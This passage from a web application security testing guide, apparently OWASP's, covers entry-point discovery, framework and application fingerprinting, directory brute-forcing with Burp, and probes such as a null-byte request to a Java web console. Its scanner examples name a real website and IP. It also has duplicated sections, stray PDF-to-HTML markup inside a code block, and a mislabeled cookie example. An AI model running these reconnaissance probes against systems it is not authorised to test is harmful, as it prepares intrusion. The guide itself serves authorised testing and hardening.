Cookie: SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRxZlIHBzZWRpY3RhYm1lIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIzNA
CustomCookie=00my00trusted00ip00is00x.x.x.x00
```

Body of the POST message:

```
user=admin&pass=pass123&debug=true&fromtrustIP=true
```

Result Expected:

In this example the tester would note all the parameters as they have before but notice that the parameters are passed in the body of the message and not in the URL. Additionally, note that there is a custom cookie that is being used.

Gray Box Testing

Testing for application entry points via a Gray Box methodology would consist of everything already identified above with one addition. In cases where there are external sources from which the application receives data and processes it (such as SNMP traps, syslog messages, SMTP, or SOAP messages from other servers) a meeting with the application developers could identify any functions that would accept or expect user input and how they are formatted. For example, the developer could help in understanding how to formulate a correct SOAP request that the application would accept and where the web service resides (if the web service or any other function hasn't already been identified during the black box testing).

Tools

Intercepting Proxy:

- OWASP: [Zed Attack Proxy \(ZAP\)](#)
- OWASP: [WebScarab](#)
- [Burp Suite](#)
- [CAT](#)

Browser Plug-in:

- [TamperIE for Internet Explorer](#)
- [Tamper Data for Firefox](#)

References

Whitepapers

- RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 - <http://tools.ietf.org/html/rfc2616>

Map execution paths through application (OTG-INFO-007)

Summary

Before commencing security testing, understanding the structure of the application is paramount. Without a thorough understanding of the layout of the application, it is unlikely that it will be tested thoroughly.

Test Objectives

Map the target application and understand the principal workflows.

How to Test

In black box testing it is extremely difficult to test the entire code base. Not just because the tester has no view of the code paths through the application, but even if they did, to test all code paths would be very time consuming. One way to reconcile this is to document what code paths were discovered and tested.

There are several ways to approach the testing and measurement of code coverage:

- **Path** - test each of the paths through an application that includes combinatorial and boundary value analysis testing for each decision path. While this approach offers thoroughness, the number of testable paths grows exponentially with each decision branch.
- **Data flow (or taint analysis)** - tests the assignment of variables via external interaction (normally users). Focuses on mapping the flow, transformation and use of data throughout an application.
- **Race** - tests multiple concurrent instances of the application manipulating the same data.

The trade off as to what method is used and to what degree each method is used should be negotiated with the application owner. Simpler approaches could also be adopted, including asking the application owner what functions or code sections they are particularly concerned about and how those code segments can be reached.

Black Box Testing

To demonstrate code coverage to the application owner, the tester can start with a spreadsheet and document all the links discovered by spidering the application (either manually or automatically). Then the tester can look more closely at decision points in the application and investigate how many significant code paths are discovered. These should then be documented in the spreadsheet with URLs, prose and screenshot descriptions of the paths discovered.


Gray/White Box testing

Ensuring sufficient code coverage for the application owner is far easier with the gray and white box approach to testing. Information solicited by and provided to the tester will ensure the minimum requirements for code coverage are met.

Example

Automatic Spidering

The automatic spider is a tool used to automatically discover new resources (URLs) on a particular website. It begins with a list of URLs to visit, called the seeds, which depends on how the Spider is started. While there are a lot of Spidering tools, the following example uses the [Zed Attack Proxy \(ZAP\)](#) :



ZAP offers the following automatic spidering features, which can be selected based on the tester's needs:

- Spider Site - The seed list contains all the existing URIs already found for the selected site.
- Spider Subtree - The seed list contains all the existing URIs already found and present in the subtree of the selected node.
- Spider URL - The seed list contains only the URI corresponding to the selected node (in the Site Tree).
- Spider all in Scope - The seed list contains all the URIs the user has selected as being 'In Scope'.

Tools

- [Zed Attack Proxy \(ZAP\)](#)
- [List of spreadsheet software](#)
- [Diagramming software](#)

References

Whitepapers

[1] http://en.wikipedia.org/wiki/Code_coverage

Fingerprint Web Application Framework (OTG-INFO-008)

Summary

Web framework[*] fingerprinting is an important subtask of the information gathering process. Knowing the type of framework can automatically give a great advantage if such a framework has already been tested by the penetration tester. It is not only the known vulnerabilities in unpatched versions but specific misconfigurations in the framework and known file structure that makes the fingerprinting process so important.

Several different vendors and versions of web frameworks are widely used. Information about it significantly helps in the testing process, and can also help in changing the course of the test. Such information can be derived by careful analysis of certain common locations. Most of the web frameworks have several markers in those locations which help an attacker to spot them. This is basically what all automatic tools do, they look for a marker from a predefined location and then compare it to the database of known signatures. For better accuracy several markers are usually used.

[*] Please note that this article makes no differentiation between Web Application Frameworks (WAF) and Content Management Systems (CMS). This has been done to make it convenient to fingerprint both of them in one chapter. Furthermore, both categories are referenced as web frameworks.

Test Objectives

To define type of used web framework so as to have a better understanding of the security testing methodology.

How to Test

Black Box testing

There are several most common locations to look in in order to define the current framework:

- HTTP headers
- Cookies
- HTML source code
- Specific files and folders

HTTP headers

The most basic form of identifying a web framework is to look at the *X-Powered-By* field in the HTTP response header. Many tools can be used to fingerprint a target. The simplest one is netcat utility.

Consider the following HTTP Request-Response:

```
$ nc 127.0.0.1 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: nginx/1.0.14
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
X-Powered-By: Mono
```

From the *X-Powered-By* field, we understand that the web application framework is likely to be Mono. However, although this approach is simple and quick, this methodology doesn't work in 100% of cases. It is possible to easily disable X-

Powered-By header by a proper configuration. There are also several techniques that allow a web site to obfuscate HTTP headers (see an example in [Remediation] chapter).

So in the same example the tester could either miss the *X-Powered-By* header or obtain an answer like the following:

```
HTTP/1.1 200 OK
Server: nginx/1.0.14
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
X-Powered-By: Blood, sweat and tears
```

Sometimes there are more HTTP-headers that point at a certain web framework. In the following example, according to the information from HTTP-request, one can see that *X-Powered-By* header contains PHP version. However, the *X-Generator* header points out the used framework is actually Swiftlet, which helps a penetration tester to expand his attack vectors. When performing fingerprinting, always carefully inspect every HTTP-header for such leaks.

```
HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Sat, 07 Sep 2013 09:22:52 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.16-1~dotdeb.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Generator: Swiftlet
```

Cookies

Another similar and somehow more reliable way to determine the current web framework are framework-specific cookies.

Consider the following HTTP-request:

```
GET /cake HTTP/1.1
Host: defcon-moscow.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: CAKEPHP=rm72kprivgmau5fmjdesbuqi71;
Connection: keep-alive
Cache-Control: max-age=0
```

The cookie *CAKEPHP* has automatically been set, which gives information about the framework being used. List of common cookies names is presented in chapter [Common frameworks] Limitations are the same - it is possible to change the name of the cookie. For example, for the selected *CakePHP* framework this could be done by the following configuration (excerpt from core.php):

```
/**
 * The name of CakePHP's session cookie.
 *
 * Note the guidelines for Session names states: "The session name references
 * the session id in cookies and URLs. It should contain only alphanumeric
 * characters."
 * @link http://php.net/session_name
 */
Configure::write('Session.cookie', 'CAKEPHP');
```

However, these changes are less likely to be made than changes to the *X-Powered-By* header, so this approach can be considered as more reliable.

HTML source code

This technique is based on finding certain patterns in the HTML page source code. Often one can find a lot of information which helps a tester to recognize a specific web framework. One of the common markers are HTML comments that directly lead to framework disclosure. More often certain framework-specific paths can be found, i.e. links to framework-specific css and/or js folders. Finally, specific script variables might also point to a certain framework.

From the screenshot below one can easily learn the used framework and its version by the mentioned markers. The comment, specific paths and script variables can all help an attacker to quickly determine an instance of ZK framework.

```
13 <script type="text/javascript" src="/zkau/web/bb9dff2f/js/zk.wpd" charset="UTF-8"></script>
14 <script type="text/javascript" src="/zkau/web/bb9dff2f/js/zul.lang.wpd" charset="UTF-8"></script>
15 <script type="text/javascript" src="/zkau/web/bb9dff2f/js/zul.jsp.js" charset="UTF-8"></script>
16 <!-- ZK 6.5.1.1 EE 2012121311 -->
17 <script class="z-runonce" type="text/javascript">
18 zkopt({to:660});//]]&gt;
19 &lt;/script&gt;&lt;script type="text/javascript"&gt;
20     zUtl.progressbox = function(id, msg, mask, icon, _opts) {
21         if (mask &amp;&amp; zk.Page.contained.length) {
22             for (var c = zk.Page.contained.length, e = zk.Page.contained[--c]; e = zk.Page.contained[--c]) {</pre>
</div>
<div data-bbox="100 379 836 394" data-label="Text">
<p>More frequently such information is placed between <code>&lt;head&gt;&lt;/head&gt;</code> tags, in <code>&lt;meta&gt;</code> tags or at the end of the page.</p>
</div>
<div data-bbox="100 394 898 442" data-label="Text">
<p>Nevertheless, it is recommended to check the whole document since it can be useful for other purposes such as inspection of other useful comments and hidden fields. Sometimes, web developers do not care much about hiding information about the framework used. It is still possible to stumble upon something like this at the bottom of the page:</p>
</div>
<div data-bbox="111 464 527 483" data-label="Text">
<p><b>Built upon the Banshee PHP framework v3.1</b></p>
</div>
<div data-bbox="100 503 314 520" data-label="Section-Header">
<h2>Common frameworks</h2>
</div>
<div data-bbox="100 537 186 555" data-label="Section-Header">
<h3>Cookies</h3>
</div>
<div data-bbox="100 567 894 685" data-label="Table">
<table border="1">
<thead>
<tr>
<th>Framework</th>
<th>Cookie name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zope</td>
<td>zope3</td>
</tr>
<tr>
<td>CakePHP</td>
<td>cakephp</td>
</tr>
<tr>
<td>Kohana</td>
<td>kohanasession</td>
</tr>
<tr>
<td>Laravel</td>
<td>laravel_session</td>
</tr>
</tbody>
</table>
</div>
<div data-bbox="100 701 287 718" data-label="Section-Header">
<h2>HTML source code</h2>
</div>
<div data-bbox="100 732 220 747" data-label="Section-Header">
<h3>General markers</h3>
</div>
<div data-bbox="100 759 894 852" data-label="Table">
<table border="1">
<tbody>
<tr>
<td style="text-align: center;">%framework_name%</td>
</tr>
<tr>
<td>powered by</td>
</tr>
<tr>
<td>built upon</td>
</tr>
<tr>
<td>running</td>
</tr>
</tbody>
</table>
</div>
<div data-bbox="100 866 221 882" data-label="Section-Header">
<h3>Specific markers</h3>
</div>
<div data-bbox="100 893 894 929" data-label="Table">
<table border="1">
<thead>
<tr>
<th>Framework</th>
<th>Keyword</th>
</tr>
</thead>
<tbody>
<tr>
<td> </td>
<td> </td>
</tr>
</tbody>
</table>
</div>
<div data-bbox="100 938 451 955" data-label="Page-Footer">Fingerprint Web Application Framework (OTG-INFO-008)</div>
<div data-bbox="876 938 903 954" data-label="Page-Footer">80</div>
```


Adobe ColdFusion	<!-- START headerTags.cfm
Microsoft ASP.NET	__VIEWSTATE
ZK	<!-- ZK
Business Catalyst	<!-- BC_OBNW -->
Indexhibit	ndxz-studio

Specific files and folders

Specific files and folders are different for each specific framework. It is recommended to install the corresponding framework during penetration tests in order to have better understanding of what infrastructure is presented and what files might be left on the server. However, several good file lists already exist and one good example is FuzzDB wordlists of predictable files/folders (<http://code.google.com/p/fuzzdb/>).

Tools

A list of general and well-known tools is presented below. There are also a lot of other utilities, as well as framework-based fingerprinting tools.


WhatWeb

Website: <http://www.morningstarsecurity.com/research/whatweb>

Currently one of the best fingerprinting tools on the market. Included in a default [Kali Linux] build. Language: Ruby
Matches for fingerprinting are made with:

- Text strings (case sensitive)
- Regular expressions
- Google Hack Database queries (limited set of keywords)
- MD5 hashes
- URL recognition
- HTML tag patterns
- Custom ruby code for passive and aggressive operations

Sample output is presented on a screenshot below:



```

File Edit View Terminal Help
$ ./whatweb www.ardentcreative.co.nz
http://www.ardentcreative.co.nz [200] AtomFeed[/index.php?format=feed&type=rss], Sc
ript, MetaGenerator[Joomla! 1.5 - Open Source Content Management], HTTPServer[Apache],
Google-Analytics[GA][791888], Apache, IP[210.48.71.202], Joomla[1.5], Cookies[e964b8ff6
be2b1058b145da14a39e90d], Title[Ardent Creative, Christchurch Web Design], Country[NEW
ZEALAND][NZ]
$ ./whatweb -a 3 www.ardentcreative.co.nz
http://www.ardentcreative.co.nz [200] AtomFeed[/index.php?format=feed&type=rss], Sc
ript, MetaGenerator[Joomla! 1.5 - Open Source Content Management], HTTPServer[Apache],
Google-Analytics[GA][791888], Apache, IP[210.48.71.202], Joomla[1.5,1.5.19 - 1.5.22], C
ookies[e964b8ff6be2b1058b145da14a39e90d], Title[Ardent Creative, Christchurch Web Desig
n], Country[NEW ZEALAND][NZ]
$ ./whatweb -a 3 -p joomla www.ardentcreative.co.nz
http://www.ardentcreative.co.nz [200] Joomla[1.5,1.5.19 - 1.5.22]
$

```

BlindElephant

Website: <https://community.qualys.com/community/blindelephant>

This great tool works on the principle of static file checksum based version difference thus providing a very high quality of fingerprinting. Language: Python

Sample output of a successful fingerprint:

```
pentester$ python BlindElephant.py http://my_target drupal
Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and
Starting BlindElephant fingerprint for version of drupal at http://my_target

Hit http://my_target/CHANGELOG.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 527b085a3717bd691d47713dff74acf4

Hit http://my_target/INSTALL.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4

Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14

Hit http://my_target/MAINTAINERS.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca

Hit http://my_target/themes/garland/style.css
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14

...

Fingerprinting resulted in:
7.14


Best Guess: 7.14
```

Wappalyzer

Website: <http://wappalyzer.com>

Wappalyzer is a Firefox Chrome plug-in. It works only on regular expression matching and doesn't need anything other than the page to be loaded on browser. It works completely at the browser level and gives results in the form of icons. Although sometimes it has false positives, this is very handy to have notion of what technologies were used to construct a target website immediately after browsing a page.

Sample output of a plug-in is presented on a screenshot below.



References

Whitepapers

- Saumil Shah: "An Introduction to HTTP fingerprinting" - http://www.net-square.com/httpprint_paper.html
- Anant Shrivastava : "Web Application Finger Printing" - http://anantshri.info/articles/web_app_finger_printing.html

Remediation

The general advice is to use several of the tools described above and check logs to better understand what exactly helps an attacker to disclose the web framework. By performing multiple scans after changes have been made to hide framework tracks, it's possible to achieve a better level of security and to make sure of the framework can not be detected by automatic scans. Below are some specific recommendations by framework marker location and some additional interesting approaches.

HTTP headers

Check the configuration and disable or obfuscate all HTTP-headers that disclose information the technologies used. Here is an interesting article about HTTP-headers obfuscation using Netscaler:

<http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using-netscaler.html>

Cookies

It is recommended to change cookie names by making changes in the corresponding configuration files.

HTML source code

Manually check the contents of the HTML code and remove everything that explicitly points to the framework.

General guidelines:

- Make sure there are no visual markers disclosing the framework
- Remove any unnecessary comments (copyrights, bug information, specific framework comments)
- Remove META and generator tags

- Use the companies own css or js files and do not store those in a framework-specific folders
- Do not use default scripts on the page or obfuscate them if they must be used.

Specific files and folders

General guidelines:

- Remove any unnecessary or unused files on the server. This implies text files disclosing information about versions and installation too.
- Restrict access to other files in order to achieve 404-response when accessing them from outside. This can be done, for example, by modifying htaccess file and adding RewriteCond or RewriteRule there. An example of such restriction for two common WordPress folders is presented below.

```
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]
RewriteCond %{REQUEST_URI} /wp-admin/$
RewriteRule $ /http://your_website [R=404,L]
```

However, these are not the only ways to restrict access. In order to automate this process, certain framework-specific plugins exist. One example for WordPress is StealthLogin (<http://wordpress.org/plugins/stealth-login-page>).

Additional approaches

General guidelines:

- Checksum management
 - The purpose of this approach is to beat checksum-based scanners and not let them disclose files by their hashes. Generally, there are two approaches in checksum management:
 - Change the location of where those files are placed (i.e. move them to another folder, or rename the existing folder)
 - Modify the contents - even slight modification results in a completely different hash sum, so adding a single byte in the end of the file should not be a big problem.
- Controlled chaos
 - A funny and effective method that involves adding bogus files and folders from other frameworks in order to fool scanners and confuse an attacker. But be careful not to overwrite existing files and folders and to break the current framework!

Fingerprint Web Application (OTG-INFO-009)

Summary

There is nothing new under the sun, and nearly every web application that one may think of developing has already been developed. With the vast number of free and open source software projects that are actively developed and deployed around the world, it is very likely that an application security test will face a target site that is entirely or partly dependent on these well known applications (e.g. Wordpress, phpBB, Mediawiki, etc). Knowing the web application components that are being tested significantly helps in the testing process and will also drastically reduce the effort required during the test. These well known web applications have known HTML headers, cookies, and directory structures that can be enumerated to identify the application.

Test Objectives

Identify the web application and version to determine known vulnerabilities and the appropriate exploits to use during testing.

How to Test

Cookies

A relatively reliable way to identify a web application is by the application-specific cookies.

Consider the following HTTP-request:

```
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
**Cookie: wp-settings-time-1=1406093286; wp-settings-time-2=1405988284**
DNT: 1
Connection: keep-alive
Host: blog.owasp.org
```

The cookie *CAKEPHP* has automatically been set, which gives information about the framework being used. List of common cookies names is presented in Common Application Identifiers section. However, it is possible to change the name of the cookie.

HTML source code

This technique is based on finding certain patterns in the HTML page source code. Often one can find a lot of information which helps a tester to recognize a specific web application. One of the common markers are HTML comments that directly lead to application disclosure. More often certain application-specific paths can be found, i.e. links to application-specific css and/or js folders. Finally, specific script variables might also point to a certain application.

From the meta tag below, one can easily learn the application used by a website and its version. The comment, specific paths and script variables can all help an attacker to quickly determine an instance of an application.

```
<meta name="generator" content="WordPress 3.9.2" />
```

More frequently such information is placed between `<head></head>` tags, in `<meta>` tags or at the end of the page.

Nevertheless, it is recommended to check the whole document since it can be useful for other purposes such as inspection of other useful comments and hidden fields.

Specific files and folders

Apart from information gathered from HTML sources, there is another approach which greatly helps an attacker to determine the application with high accuracy. Every application has its own specific file and folder structure on the server. It has been pointed out that one can see the specific path from the HTML page source but sometimes they are not explicitly presented there and still reside on the server.

In order to uncover them a technique known as dirbusting is used. Dirbusting is brute forcing a target with predictable folder and file names and monitoring HTTP-responses to enumerate server contents. This information can be used both for finding default files and attacking them, and for fingerprinting the web application. Dirbusting can be done in several ways, the example below shows a successful dirbusting attack against a WordPress-powered target with the help of defined list and intruder functionality of Burp Suite.

Request ▲	Payload	Status	Error	Timeout	Length
1	wp-includes/	403	<input type="checkbox"/>	<input type="checkbox"/>	383
2	wp-admin/	302	<input type="checkbox"/>	<input type="checkbox"/>	396
3	wp-content/	200	<input type="checkbox"/>	<input type="checkbox"/>	181

We can see that for some WordPress-specific folders (for instance, /wp-includes/, /wp-admin/ and /wp-content/) HTTP-reponses are 403 (Forbidden), 302 (Found, redirection to wp-login.php) and 200 (OK) respectively. This is a good indicator that the target is WordPress-powered. The same way it is possible to dirbust different application plugin folders and their versions. On the screenshot below one can see a typical CHANGELOG file of a Drupal plugin, which provides information on the application being used and discloses a vulnerable plugin version.

```

/sites/all/modules/botcha/CHANGELOG.txt
Часто посеща... Начальная стра...

botcha 7.x-1.5, 2012-01-09
-----
[#1833378] Disabled unstable _botcha_recipe4() (Honeypot2)

botcha 7.x-1.4, 2012-01-08
-----
[#1637548] Fixed "Undefined variable: path in _botcha_url()"
[#1694962] Fixed "Undefined index: xxxx_name in botcha_form_alter_botcha()"
[#1788978] by Staratel: Move rule action to group BOTCHA
[NOISSUE] Added _POST and _GET to loglevel 5
[NOISSUE] Added _SERVER to loglevel 5
[NOISSUE] Added honeypot_js_css2field recipe
[#1800406] by drclaw: Fixed array merge error in _form_set_class()
[#1800532] by drclaw: Fixed JS errors in IE7

botcha 7.x-1.0, 2012-05-02
-----
[#1045192] Port to D7
[#1510082] Fixed form rebuild was not happening properly - D7 ignores global $conf['cache'] and needs $form_state
[NOISSUE] Removed global $conf['cache'] = 0, all notes on performance and caching
[NOISSUE] Reworded "Form session reuse detected" message, added "Please try again..."
[NOISSUE] Copied some goodies from CAPTCHA, added update_7000 to rename form ids in BOTCHA points
[#1075722] Cleanup, looks like sessions are handled properly for D7 (different from D6)
[#1511034] Fixed "Undefined variable t in botcha_install line 117"
[#1511042] Added configure path to botcha.info
[#1534350] Fixed comments crash (due to remnant D6 hack)
[NOISSUE] Refactoring: Allow named recipe books other than 'default'; Use form_state to pass '#botcha' value
[NOISSUE] Fixed lost recipe selector for add new on BOTCHA admin page
[NOISSUE] Remove Captcha integration text from help if Captcha module is not present
[NOISSUE] Remove hole in user_login_block protection when accessed via /admin/ path
[NOISSUE] Reworked _form_alter and _form_validate workings to allow clean reset of default values
[NOISSUE] Added simple honeypot recipe suitable for simpletest (no JS)
[NOISSUE] Added simpletest test cases
[#1544124] Fixed drush crash in rules integration due to API changes in rules 7.x-2.x

```

Tip: before starting dirbusting, it is recommended to check the robots.txt file first. Sometimes application specific folders and other sensitive information can be found there as well. An example of such a robots.txt file is presented on a screenshot below.



Specific files and folders are different for each specific application. It is recommended to install the corresponding application during penetration tests in order to have better understanding of what infrastructure is presented and what files might be left on the server. However, several good file lists already exist and one good example is FuzzDB wordlists of predictable files/folders (<http://code.google.com/p/fuzzdb/>).

Common Application Identifiers

Cookies

Framework	Cookie name
phpBB	phpbb3_
Wordpress	wp-settings
1C-Bitrix	BITRIX_
AMPcms	AMP
Django CMS	django
DotNetNuke	DotNetNukeAnonymous

e107	e107_tz
EPiServer	EPiTrace, EPiServer
Graffiti CMS	graffitibot
Hotaru CMS	hotaru_mobile
ImpressCMS	ICMSession
Indico	MAKACSESSION
InstantCMS	InstantCMS[logdate]
Kentico CMS	CMSPreferredCulture
MODx	SN4[12symb]
TYPO3	fe_typo_user
Dynamicweb	Dynamicweb
LEPTON	lep[some_numeric_value]+sessionid
Wix	Domain=.wix.com
VIVVO	VivvoSessionId

HTML source code

Application	Keyword
Wordpress	<code><meta name="generator" content="WordPress 3.9.2" /></code>
phpBB	<code><body id="phpbb"</code>
Mediawiki	<code><meta name="generator" content="MediaWiki 1.21.9" /></code>
Joomla	<code><meta name="generator" content="Joomla! - Open Source Content Management" /></code>
Drupal	<code><meta name="Generator" content="Drupal 7 (http://drupal.org)" /></code>
DotNetNuke	DNN Platform - http://www.dnnsoftware.com

Tools

A list of general and well-known tools is presented below. There are also a lot of other utilities, as well as framework-based fingerprinting tools.


WhatWeb

Website: <http://www.morningstarsecurity.com/research/whatweb>

Currently one of the best fingerprinting tools on the market. Included in a default [Kali Linux] build. Language: Ruby
Matches for fingerprinting are made with:

- Text strings (case sensitive)
- Regular expressions
- Google Hack Database queries (limited set of keywords)
- MD5 hashes
- URL recognition
- HTML tag patterns
- Custom ruby code for passive and aggressive operations

Sample output is presented on a screenshot below:



```
File Edit View Terminal Help
$ ./whatweb www.ardentcreative.co.nz
http://www.ardentcreative.co.nz [200] AtomFeed[/index.php?format=feed&type=rss], Sc
ript, MetaGenerator[Joomla! 1.5 - Open Source Content Management], HTTPServer[Apache],
Google-Analytics[GA][791888], Apache, IP[210.48.71.202], Joomla[1.5], Cookies[e964b8ff6
be2b1058b145da14a39e90d], Title[Ardent Creative, Christchurch Web Design], Country[NEW
ZEALAND][NZ]
$ ./whatweb -a 3 www.ardentcreative.co.nz
http://www.ardentcreative.co.nz [200] AtomFeed[/index.php?format=feed&type=rss], Sc
ript, MetaGenerator[Joomla! 1.5 - Open Source Content Management], HTTPServer[Apache],
Google-Analytics[GA][791888], Apache, IP[210.48.71.202], Joomla[1.5,1.5.19 - 1.5.22], C
ookies[e964b8ff6be2b1058b145da14a39e90d], Title[Ardent Creative, Christchurch Web Desig
n], Country[NEW ZEALAND][NZ]
$ ./whatweb -a 3 -p joomla www.ardentcreative.co.nz
http://www.ardentcreative.co.nz [200] Joomla[1.5,1.5.19 - 1.5.22]
$
```

BlindElephant

Website: <https://community.qualys.com/community/blindelephant>

This great tool works on the principle of static file checksum based version difference thus providing a very high quality of fingerprinting. Language: Python

Sample output of a successful fingerprint:

```
pentester$ python BlindElephant.py http://my_target drupal
Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and
Starting BlindElephant fingerprint for version of drupal at http://my_target

Hit http://my_target/CHANGELOG.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 527b085a3717bd691d47713dff74acf4

Hit http://my_target/INSTALL.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4

Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14

Hit http://my_target/MAINTAINERS.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca

Hit http://my_target/themes/garland/style.css
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14

...

Fingerprinting resulted in:
7.14

Best Guess: 7.14
```


Wappalyzer

Website: <http://wappalyzer.com>

Wappalyzer is a Firefox Chrome plug-in. It works only on regular expression matching and doesn't need anything other than the page to be loaded on browser. It works completely at the browser level and gives results in the form of icons. Although

sometimes it has false positives, this is very handy to have notion of what technologies were used to construct a target website immediately after browsing a page.

Sample output of a plug-in is presented on a screenshot below.



References

Whitepapers

- Saumil Shah: "An Introduction to HTTP fingerprinting" - http://www.net-square.com/httpprint_paper.html
- Anant Shrivastava : "Web Application Finger Printing" - http://anantshri.info/articles/web_app_finger_printing.html

Remediation

The general advice is to use several of the tools described above and check logs to better understand what exactly helps an attacker to disclose the web framework. By performing multiple scans after changes have been made to hide framework tracks, it's possible to achieve a better level of security and to make sure of the framework can not be detected by automatic scans. Below are some specific recommendations by framework marker location and some additional interesting approaches.

HTTP headers

Check the configuration and disable or obfuscate all HTTP-headers that disclose information the technologies used. Here is an interesting article about HTTP-headers obfuscation using Netscaler:

<http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using-netscaler.html>

Cookies

It is recommended to change cookie names by making changes in the corresponding configuration files.

HTML source code

Manually check the contents of the HTML code and remove everything that explicitly points to the framework.

General guidelines:

- Make sure there are no visual markers disclosing the framework
- Remove any unnecessary comments (copyrights, bug information, specific framework comments)
- Remove META and generator tags
- Use the companies own css or js files and do not store those in a framework-specific folders
- Do not use default scripts on the page or obfuscate them if they must be used.

Specific files and folders

General guidelines:

- Remove any unnecessary or unused files on the server. This implies text files disclosing information about versions and installation too.
- Restrict access to other files in order to achieve 404-response when accessing them from outside. This can be done, for example, by modifying htaccess file and adding RewriteCond or RewriteRule there. An example of such restriction for two common WordPress folders is presented below.

```
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]
RewriteCond %{REQUEST_URI} /wp-admin/$
RewriteRule $ /http://your_website [R=404,L]
```

However, these are not the only ways to restrict access. In order to automate this process, certain framework-specific plugins exist. One example for WordPress is StealthLogin (<http://wordpress.org/plugins/stealth-login-page>).

Additional approaches

General guidelines:

- Checksum management
 - The purpose of this approach is to beat checksum-based scanners and not let them disclose files by their hashes. Generally, there are two approaches in checksum management:
 - Change the location of where those files are placed (i.e. move them to another folder, or rename the existing folder)
 - Modify the contents - even slight modification results in a completely different hash sum, so adding a single byte in the end of the file should not be a big problem.
- Controlled chaos
 - A funny and effective method that involves adding bogus files and folders from other frameworks in order to fool scanners and confuse an attacker. But be careful not to overwrite existing files and folders and to break the current framework!

Map Application Architecture (OTG-INFO-010)

Summary

The complexity of interconnected and heterogeneous web server infrastructure can include hundreds of web applications and makes configuration management and review a fundamental step in testing and deploying every single application. In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and seemingly unimportant problems may evolve into severe risks for another application on the same server.

To address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues. Before performing an in-depth review it is necessary to map the network and application architecture. The different elements that make up the infrastructure need to be determined to understand how they interact with a web application and how they affect security.

How to Test

Map the application architecture

The application architecture needs to be mapped through some test to determine what different components are used to build the web application. In small setups, such as a simple CGI-based application, a single server might be used that runs the web server which executes the C, Perl, or Shell CGIs application, and perhaps also the authentication mechanism.

On more complex setups, such as an online bank system, multiple servers might be involved. These may include a reverse proxy, a front-end web server, an application server and a database server or LDAP server. Each of these servers will be used for different purposes and might be even be divided in different networks with firewalls between them. This creates different DMZs so that access to the web server will not grant a remote user access to the authentication mechanism itself, and so that compromises of the different elements of the architecture can be isolated so that they will not compromise the whole architecture.

Getting knowledge of the application architecture can be easy if this information is provided to the testing team by the application developers in document form or through interviews, but can also prove to be very difficult if doing a blind penetration test.

In the latter case, a tester will first start with the assumption that there is a simple setup (a single server). Then they will retrieve information from other tests and derive the different elements, question this assumption and extend the architecture map. The tester will start by asking simple questions such as: "Is there a firewalling system protecting the web server?". This question will be answered based on the results of network scans targeted at the web server and the analysis of whether the network ports of the web server are being filtered in the network edge (no answer or ICMP unreachable are received) or if the server is directly connected to the Internet (i.e. returns RST packets for all non-listening ports). This analysis can be enhanced to determine the type of firewall used based on network packet tests. Is it a stateful firewall or is it an access list filter on a router? How is it configured? Can it be bypassed?

Detecting a reverse proxy in front of the web server needs to be done by the analysis of the web server banner, which might directly disclose the existence of a reverse proxy (for example, if 'WebSEAL'[1] is returned). It can also be determined by obtaining the answers given by the web server to requests and comparing them to the expected answers. For example, some reverse proxies act as "intrusion prevention systems" (or web-shields) by blocking known attacks targeted at the web server. If the web server is known to answer with a 404 message to a request that targets an unavailable page and returns a different error message for some common web attacks like those done by CGI scanners, it might be an indication of a reverse proxy (or an application-level firewall) which is filtering the requests and returning a different error page than the one expected. Another example: if the web server returns a set of available HTTP methods (including TRACE) but the expected methods return errors then there is probably something in between blocking them.

In some cases, even the protection system gives itself away:

```
GET /web-console/ServerInfo.jsp%00 HTTP/1.0

HTTP/1.0 200
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 83

<TITLE>Error</TITLE>
<BODY>
<H1>Error</H1>
